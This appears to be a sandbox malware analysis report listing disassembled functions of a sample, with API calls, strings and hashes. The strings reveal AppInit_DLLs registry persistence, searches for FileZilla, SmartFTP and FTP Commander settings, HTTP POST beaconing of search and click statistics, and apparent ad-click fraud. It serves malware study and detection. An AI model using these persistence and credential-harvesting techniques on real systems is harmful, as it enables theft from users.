Instruction Fuzzy Hash: 5311A531D09308AADF109B61DD05BDB3B6AAB00324F218676E612F61E0E7749D44CBAE

Function 00408604 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 53registryfileCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows NT\CurrentVersion\Windows,00000000,00000001,?,?,00000000), ref: 00408628
GetLastError.KERNEL32(?,00000000), ref: 0040864A

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

DeleteFileW.KERNEL32(C:\WINDOWS\system32\gbdwpbm.dll,?,00000000), ref: 00408687

Part of subcall function 004069FD: RegCreateKeyExW.ADVAPI32(0040EA48,00000000,00000000,00000000,00000000,00020006,00000000,00000002,0040EA48,?,?,?,?,00406AD3,80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current), ref: 00406A22

Strings

Software\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 00408619, 0040861E, 00408676
AppInit_DLLs, xrefs: 00408639, 00408671
C:\WINDOWS\system32\gbdwpbm.dll, xrefs: 00408682

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: CloseCreateDeleteErrorFileLastOpenQueryValue
String ID: AppInit_DLLs$C:\WINDOWS\system32\gbdwpbm.dll$Software\Microsoft\Windows NT\CurrentVersion\Windows
API String ID: 4026185228-3265104503
Opcode ID: b4fb547f36a341d56e63cd8c3141924342823e6c0e28cdd89059e7ce4998d0d2
Instruction ID: 1689b80d2e7b4165945397198c320d7ed833f5e108bfbebac4dfc06446509e60
Opcode Fuzzy Hash: b4fb547f36a341d56e63cd8c3141924342823e6c0e28cdd89059e7ce4998d0d2
Instruction Fuzzy Hash: 99014CB2A44124B6E62067665E06F9B72AC9B00750F220D7BF905F31C0DABA9D1446AD

Function 00409A99 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00409B00
SysAllocString.OLEAUT32(?), ref: 00409B0E

Strings

</title>, xrefs: 00409AA7
</url>, xrefs: 00409ACC
<title>, xrefs: 00409AAC
<url>, xrefs: 00409AD1

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: AllocString
String ID: </title>$</url>$<title>$<url>
API String ID: 2525500382-2286408829
Opcode ID: accc4c2b32817054c02e480ca82d26facf4490b578c9b74d600f9b3addd9539d
Instruction ID: e94fff7a9c4556839c155ffec7726d55edf757161a42396596b5093e86978141
Opcode Fuzzy Hash: accc4c2b32817054c02e480ca82d26facf4490b578c9b74d600f9b3addd9539d
Instruction Fuzzy Hash: 4F01DB7564021CA7DB116A55CC41FD637A8BB44799F044077FA04F32C3E978AA0C4BA4

Function 0040A8F9 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 161sleepmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Sleep.KERNEL32(00002710,?,?,?,?,00402C8F,00000032,00000000,00000000,00000000,00000000,?), ref: 0040A91C
Sleep.KERNEL32(00002710), ref: 0040AAC1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040AAE9
HeapFree.KERNEL32(00000000), ref: 0040AAF0

Strings

jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s, xrefs: 0040A957
0, xrefs: 0040AA5B

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: HeapSleep$AttemptConnectFreeInternetProcess
String ID: 0$jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s
API String ID: 3713053250-1268808612
Opcode ID: 27a49e9b0a243f6ea4d036eb24575c3a25ef3ed8582b626cf885f00009b11edd
Instruction ID: cb73c9a78e41fc00613c6eff30345c36a412e41c8c720ed22b53be089701fd16
Opcode Fuzzy Hash: 27a49e9b0a243f6ea4d036eb24575c3a25ef3ed8582b626cf885f00009b11edd
Instruction Fuzzy Hash: 88515072A00218A6CF10EB95DC959DF737DEF44308F40447BF406B7281EB789A958FAA

Function 004083C4 Relevance: 9.1, APIs: 6, Instructions: 61filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 004083DC
GetFileSizeEx.KERNEL32(00000000,?), ref: 004083EF
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00408417
ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 0040842F
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00408449
CloseHandle.KERNEL32(?), ref: 00408452

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: File$Virtual$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 1974014688-0
Opcode ID: c2b876117cf5bdd4c26ea99d0d1f22b8a7b68d93f1e59a17f5f06edaaf93f8ba
Instruction ID: 01d1f8b5f38b633e5055412454defe488cd8fa266e80ff04f0611ceb3180ae32
Opcode Fuzzy Hash: c2b876117cf5bdd4c26ea99d0d1f22b8a7b68d93f1e59a17f5f06edaaf93f8ba
Instruction Fuzzy Hash: 47115170500201FBEB305F56CE49E5BBBB9EB90700F10892DF596F21E0EB74A951DB28

Function 00409DF4 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,00000050,00000000,00000000,00000003,00000000,00000000,?), ref: 00409EA3
HttpOpenRequestW.WININET(00000000,POST,04400100,00000000,00000000,00000000,04400100,00000000), ref: 00409EC3
HttpSendRequestW.WININET(00000000,00000000,00000000,?,?), ref: 00409EDA
InternetReadFile.WININET(00000000,?,00001000,?), ref: 00409F00

Strings

POST, xrefs: 00409EBD

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: HttpInternetRequest$ConnectFileOpenReadSend
String ID: POST
API String ID: 961146071-1814004025
Opcode ID: 20f9c5eacef7b48b8181bad7e01822bf71c4addd269446e4957b1a187c5c6ded
Instruction ID: 440a75f1c6cd1a7483e62584c22426b42aa3ce760e55699d8a89a0e8c7b72afb
Opcode Fuzzy Hash: 20f9c5eacef7b48b8181bad7e01822bf71c4addd269446e4957b1a187c5c6ded
Instruction Fuzzy Hash: B8318E71900119BFDB10DBA4DC84EFE7679EB54349F14087AFA41B62C2D6385E448BA8

Function 00405136 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,?,?,?,00000008), ref: 004051EB

Strings

SOFTWARE\smartftp\client 2.0\settings\general\favorites, xrefs: 00405157
folder, xrefs: 00405184
SOFTWARE\smartftp\client 2.0\settings\backup, xrefs: 00405168
personal favorites, xrefs: 00405176

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: EnvironmentExpandOpenStrings
String ID: SOFTWARE\smartftp\client 2.0\settings\backup$SOFTWARE\smartftp\client 2.0\settings\general\favorites$folder$personal favorites
API String ID: 3923277744-821743658
Opcode ID: e843f97767911fec9b6fd3034691d6ab50a9750596cd8693bb12be5acb83529b
Instruction ID: 0454e2dbaba930a1c05830d090df37f1eb9a44f33d61805f8e12f109ce5a2445
Opcode Fuzzy Hash: e843f97767911fec9b6fd3034691d6ab50a9750596cd8693bb12be5acb83529b
Instruction Fuzzy Hash: 21213E71D00518ABDB10EB95DC41ADFB7BCEB44318F1084B7E514B2181EB389B49CFA9

Function 0040A0B5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040A0C0
GetModuleHandleW.KERNEL32(00000000,00000000,?,?,0040A16F,00427ED0,00000000,00000001,?,00402806,?), ref: 0040A0CE
CreateWindowExW.USER32(00000000,AtlAxWin,Shell.Explorer,80000000,00000000,00000000,000004B0,00000320,00000000,00000000,00000000), ref: 0040A0F3

Strings

Shell.Explorer, xrefs: 0040A0E8
AtlAxWin, xrefs: 0040A0ED

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: CreateHandleInitializeModuleWindow
String ID: AtlAxWin$Shell.Explorer
API String ID: 950422046-1300462704
Opcode ID: e9b6661190c81bdf072f7cb3f1dc159ab5559684b807faa4a04e62d0e94038f2
Instruction ID: 8885d0d040d3ab3e1edd42f45155a7fe84e7bff231f75e8e802cb7627400a982
Opcode Fuzzy Hash: e9b6661190c81bdf072f7cb3f1dc159ab5559684b807faa4a04e62d0e94038f2
Instruction Fuzzy Hash: 78118F30200200FFD320ABA6CC4CE6B7BBCEFCA711B240579F515EB291D7789801CA65

Function 00407267 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,000003E8,?,?,?,?,?,?,?,?,?,?,?,00407B63,?), ref: 0040727C
SystemTimeToFileTime.KERNEL32(?,?,?,000003E8,?), ref: 004072C1
SystemTimeToFileTime.KERNEL32(000007B2,?), ref: 004072CB
__aulldiv.LIBCMT ref: 004072E3

Strings

c{@, xrefs: 004072D3

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Time$System$File$__aulldiv
String ID: c{@
API String ID: 3735792614-264719814
Opcode ID: a145c05d1847671377470c3096bfc685d9fda3d476ef25e64420ea8c3ac11d0d
Instruction ID: ef19eb4ac8525f4bf2260e0142840e6d018c3cac6eb9bd4f47b1f5cd165e8a78
Opcode Fuzzy Hash: a145c05d1847671377470c3096bfc685d9fda3d476ef25e64420ea8c3ac11d0d
Instruction Fuzzy Hash: D401DE62D1022DAACB01DFE4D984CEFB77DFF44348B00156AE901F7250E7B5AA4887A5

Function 004072ED Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040286E), ref: 004072F9
SystemTimeToFileTime.KERNEL32(?,?), ref: 00407337
SystemTimeToFileTime.KERNEL32(000007B2,?), ref: 00407341
__aulldiv.LIBCMT ref: 00407359

Strings

n(@, xrefs: 0040734C, 00407357

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Time$System$File$__aulldiv
String ID: n(@
API String ID: 3735792614-2525614082
Opcode ID: fb9972a15ff1dd7e61217f7ff9a5823acba4978d5a12943579487cf22718de7c
Instruction ID: 0875687ad9f8fbdff1f190dbab39d4211c2ed1a8acd2afdabfbd9ccbaffc37b8
Opcode Fuzzy Hash: fb9972a15ff1dd7e61217f7ff9a5823acba4978d5a12943579487cf22718de7c
Instruction Fuzzy Hash: 83011A66D2022DAACF00DBE5DD44CEFB7BCFF44344B04051AE901B3210E7B5A648CBA9

Function 0040AB7C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040AB93
CharLowerW.USER32(?), ref: 0040ABA0
GetCommandLineW.KERNEL32 ref: 0040ABC0

Strings

netprotdrvss.exe, xrefs: 0040ABA6
/updatefile3, xrefs: 0040ABC6

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: CharCommandFileLineLowerModuleName
String ID: /updatefile3$netprotdrvss.exe
API String ID: 3118597399-3449771660
Opcode ID: a9092c2346d55b23f20d8634028d89874de2ded0d1b8197c9b1551ea588aa001
Instruction ID: 1eba2a713c21f7c79877a49aa3ec6850c44e44909145826ab611dd80b60fa5a6
Opcode Fuzzy Hash: a9092c2346d55b23f20d8634028d89874de2ded0d1b8197c9b1551ea588aa001
Instruction Fuzzy Hash: 41E09B3655021A5AD750FBB1DD07BA633ACFB01705F1049B6A246F10C0EE74D55D4F9D

Function 00409FB1 Relevance: 7.6, APIs: 5, Instructions: 53windowsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00409FCE
GetTickCount.KERNEL32 ref: 00409FDE
Sleep.KERNEL32(00000064,?,?,0040A442,?,?), ref: 00409FEC
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409FFB
DispatchMessageW.USER32(?), ref: 0040A009

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: CountMessageTick$DispatchPeekSleep
String ID:
API String ID: 4159783438-0
Opcode ID: 45312298ad5970842c5ee584b14830e042aefe59ca6bdbaf3830585a06b866aa
Instruction ID: c0dc46c0c87f7bc49602bd7d2efae9f565a6f52602c3eafe7569a8fa2f6b8eea
Opcode Fuzzy Hash: 45312298ad5970842c5ee584b14830e042aefe59ca6bdbaf3830585a06b866aa
Instruction Fuzzy Hash: 3F118671D103199ECB10AFF5CC8899F7BB9BB45314B144A7AE161F71E0C778CA118B1A

Function 00409F2B Relevance: 7.5, APIs: 5, Instructions: 40windowsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00409F5B
GetTickCount.KERNEL32 ref: 00409F5F
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409F72
DispatchMessageW.USER32(?), ref: 00409F80
Sleep.KERNEL32(0000012C,?,?,?,?,00000000), ref: 00409F8D

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: CountMessageTick$DispatchPeekSleep
String ID:
API String ID: 4159783438-0
Opcode ID: 57f1528c1cf960ce56ea9ee11f0e0f6d2bf2bfe74b8bc540e63205e3b9b5f8f9
Instruction ID: 2f378a1af0056e794f94b22e0cd08b0b0b180d2e60cd5d2ebdc62f673b65dbb1
Opcode Fuzzy Hash: 57f1528c1cf960ce56ea9ee11f0e0f6d2bf2bfe74b8bc540e63205e3b9b5f8f9
Instruction Fuzzy Hash: D1F0C872D042149BD714B7F2DD09B7D76A89B45714F104A36F551F70D1CA7CCD148A58

Function 00408692 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

Part of subcall function 0040A469: InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040A535
Part of subcall function 0040A469: InternetSetOptionW.WININET(00000000,00000041,00000000,00000004), ref: 0040A551

Part of subcall function 00409F2B: GetTickCount.KERNEL32 ref: 00409F5B
Part of subcall function 00409F2B: GetTickCount.KERNEL32 ref: 00409F5F
Part of subcall function 00409F2B: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409F72
Part of subcall function 00409F2B: DispatchMessageW.USER32(?), ref: 00409F80
Part of subcall function 00409F2B: Sleep.KERNEL32(0000012C,?,?,?,?,00000000), ref: 00409F8D

CharLowerW.USER32(?,?,?,00423DD4,?,00000001), ref: 00408751
SysFreeString.OLEAUT32(?), ref: 0040875A

Strings

http://, xrefs: 00408711
+@, xrefs: 004086A0

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: CountInternetMessageTick$CharDispatchFreeLowerOpenOptionPeekSleepString
String ID: http://$+@
API String ID: 147727044-3628382792
Opcode ID: a6511d5d8b0c810daf140c5c911559c37a96c1275369982660b5569d586a1c5f
Instruction ID: 305e6509dfdc939f3ffb47eba37a7af79922f54013ecb7534e3961c93d2e4cc1
Opcode Fuzzy Hash: a6511d5d8b0c810daf140c5c911559c37a96c1275369982660b5569d586a1c5f
Instruction Fuzzy Hash: 4E41D5729002199BCF15AF66CD056EFBBB4FF44314F20447FE981B3292DB3889528B99

Function 00407D61 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 81fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00414F68,00000000,00000000,00000000,UniqueNum,00000001), ref: 00407E09
WriteFile.KERNEL32(00000078,00000064,00000001,00000000), ref: 00407E20

Part of subcall function 00407CD7: GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
Part of subcall function 00407CD7: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

UniqueNum, xrefs: 00407D86
x, xrefs: 00407DEF

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: File$CreateModuleNamePointerWrite
String ID: UniqueNum$x
API String ID: 594998759-2399716736
Opcode ID: 0d1cac2645660f3edc8ae4858b9aa10093ebf6a3be27c46c4cc389029dd9494e
Instruction ID: 8c5cde1ed6458afa5e70834db293a7f07ca8c6efd1b8e13f0da2095665a79c5a
Opcode Fuzzy Hash: 0d1cac2645660f3edc8ae4858b9aa10093ebf6a3be27c46c4cc389029dd9494e
Instruction Fuzzy Hash: F72129329002186BDF04AB74ED49DDF3B69EF44315F104636FA02E71E1E634D951C799

Function 004040E7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?,?,00000000,00000008), ref: 0040413A

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

Strings

&, xrefs: 00404110
*filezilla*, xrefs: 004040F6
#, xrefs: 0040411E

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Find$FilePath$CloseFirstFolderFreeHeapMatchNextObjectSingleSleepSpecWait
String ID: #$&$*filezilla*
API String ID: 3438805939-758400021
Opcode ID: 7f420262a527ace9c0fec2a61cbcbac63df6dda7f3825d1df3812bb47b8bab04
Instruction ID: af0dd5899ef73ee7264a7e51d90439c8fcf38b6470501fb51340e8e2557856c3
Opcode Fuzzy Hash: 7f420262a527ace9c0fec2a61cbcbac63df6dda7f3825d1df3812bb47b8bab04
Instruction Fuzzy Hash: 8E1151B2901128BADB10EA92DC49EDF7BBCEF85304F00407AF605B6080E7385785CBE9

Function 00404A92 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?,?,00000000,00000008), ref: 00404AE5

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

Strings

&, xrefs: 00404ABB
#, xrefs: 00404AC9
ftp*commander*, xrefs: 00404AA1

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Find$FilePath$CloseFirstFolderFreeHeapMatchNextObjectSingleSleepSpecWait
String ID: #$&$ftp*commander*
API String ID: 3438805939-1149875651
Opcode ID: 371d79112eeabe7a5308543586f4c365cccc6d4de9a1601f9ce447be0e8ea6cb
Instruction ID: 4761086559ade70d73b1403ca51e5d3bc462c500c99379e4fd01d7d946a964d6
Opcode Fuzzy Hash: 371d79112eeabe7a5308543586f4c365cccc6d4de9a1601f9ce447be0e8ea6cb
Instruction Fuzzy Hash: B61121B2901118BADB10AA92DC49EDF7F7CEF85704F00407AF609B6180E7799785CBA9

Function 00409445 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004094A9
SysFreeString.OLEAUT32(?), ref: 004094AE

Strings

an.yandex.ru/count, xrefs: 00409478
_blank, xrefs: 0040948E

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: FreeString
String ID: _blank$an.yandex.ru/count
API String ID: 3341692771-25359924
Opcode ID: 4ab6eb577aae85ed23f24708000ea2df93b57f18851f250654f87edd31753785
Instruction ID: 1eacecae91598e8b756cf85833a4a3bbf756f1dfdfc5fa02fd6c22f827bf3b29
Opcode Fuzzy Hash: 4ab6eb577aae85ed23f24708000ea2df93b57f18851f250654f87edd31753785
Instruction Fuzzy Hash: 28015A35204114BBDB109FA6CD05D9B77A8EF85324724443BBC15E7291E779EE02CA69

Function 00407CD7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
GetCurrentDirectoryW.KERNEL32(00001000,?,?,00407E44,00000001,UniqueNum), ref: 00407D15
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

\merocz.xc6, xrefs: 00407D1B

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: File$CreateCurrentDirectoryModuleName
String ID: \merocz.xc6
API String ID: 3818821825-505599559
Opcode ID: 2f84b54d5be0d3dae659ee3f303fbd3ad06020502789306fc31ef9c8cba0b7e5
Instruction ID: bb9f2ddab4bab237696810683399403c99d26191ea9c434de7a02090ea9b9a12
Opcode Fuzzy Hash: 2f84b54d5be0d3dae659ee3f303fbd3ad06020502789306fc31ef9c8cba0b7e5
Instruction Fuzzy Hash: DA01A231904224ABE7309B569C49FEB77ADEF85710F00447FB505F20D1D6749A80CAAA

Function 00409808 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00409868
SysAllocString.OLEAUT32(?), ref: 00409876

Strings

"encrypted", xrefs: 00409815
"URL", xrefs: 00409838

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: AllocString
String ID: "URL"$"encrypted"
API String ID: 2525500382-4151690107
Opcode ID: f6e867073f93e28a707ce71cee5b1d0d556dab41e30d3c647449298916898aec
Instruction ID: 961e294ab5ae80d7ab2f0271a6faa46f3ea3f555f1d55132cdad114d364c87da
Opcode Fuzzy Hash: f6e867073f93e28a707ce71cee5b1d0d556dab41e30d3c647449298916898aec
Instruction Fuzzy Hash: 62F0D671A0021DA7CF00AB69CC01FD637ECAB4438CF1484B6F904F32C1E974EA098B98

Function 0040978D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 004097ED
SysAllocString.OLEAUT32(?), ref: 004097FB

Strings

"url", xrefs: 0040979A
"domain", xrefs: 004097BD

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: AllocString
String ID: "domain"$"url"
API String ID: 2525500382-2438671658
Opcode ID: 98133a6a8bfb7a18a2a86276567a63b94d588fd2e230135a268bf1c7eb2bd3b5
Instruction ID: 610bf4d9b2292206f8ef054453b19a236663fc5a2da35db14ea77673b97cd822
Opcode Fuzzy Hash: 98133a6a8bfb7a18a2a86276567a63b94d588fd2e230135a268bf1c7eb2bd3b5
Instruction Fuzzy Hash: 08F0A271A0021DA6CF41AAA9CC05FD637E8AB44348F1444B6F908F7281EA78EA188B94

Function 00406C77 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 26registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Internet Explorer,00000000,00000001,00000000,?,?,00402C77), ref: 00406C91

Strings

w,@, xrefs: 00406CA0
SOFTWARE\Microsoft\Internet Explorer, xrefs: 00406C87
Build, xrefs: 00406CA6

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Open
String ID: Build$SOFTWARE\Microsoft\Internet Explorer$w,@
API String ID: 71445658-3061378640
Opcode ID: 340e09b6331f5021cec00f630817528513552a638f53ca028bdc246a1c5cc706
Instruction ID: 930cfdd3d9e2cf302383723a85cc45ac24d6ba1b6d45bcf7a76994dd36721e6e
Opcode Fuzzy Hash: 340e09b6331f5021cec00f630817528513552a638f53ca028bdc246a1c5cc706
Instruction Fuzzy Hash: FBE08672664218FAEF009B929C07FDA77ACDB00758F20086AF502F10C1DAB5F714D6AC

Function 0040848F Relevance: 6.1, APIs: 4, Instructions: 81memoryregistryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

Part of subcall function 0040845D: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000008,00000000,?,?,004084C5,?,?,?,00000008,?,00403796,?), ref: 00408475
Part of subcall function 0040845D: RegCloseKey.ADVAPI32(?,?,004084C5,?,?,?,00000008,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408484

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000008,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408524
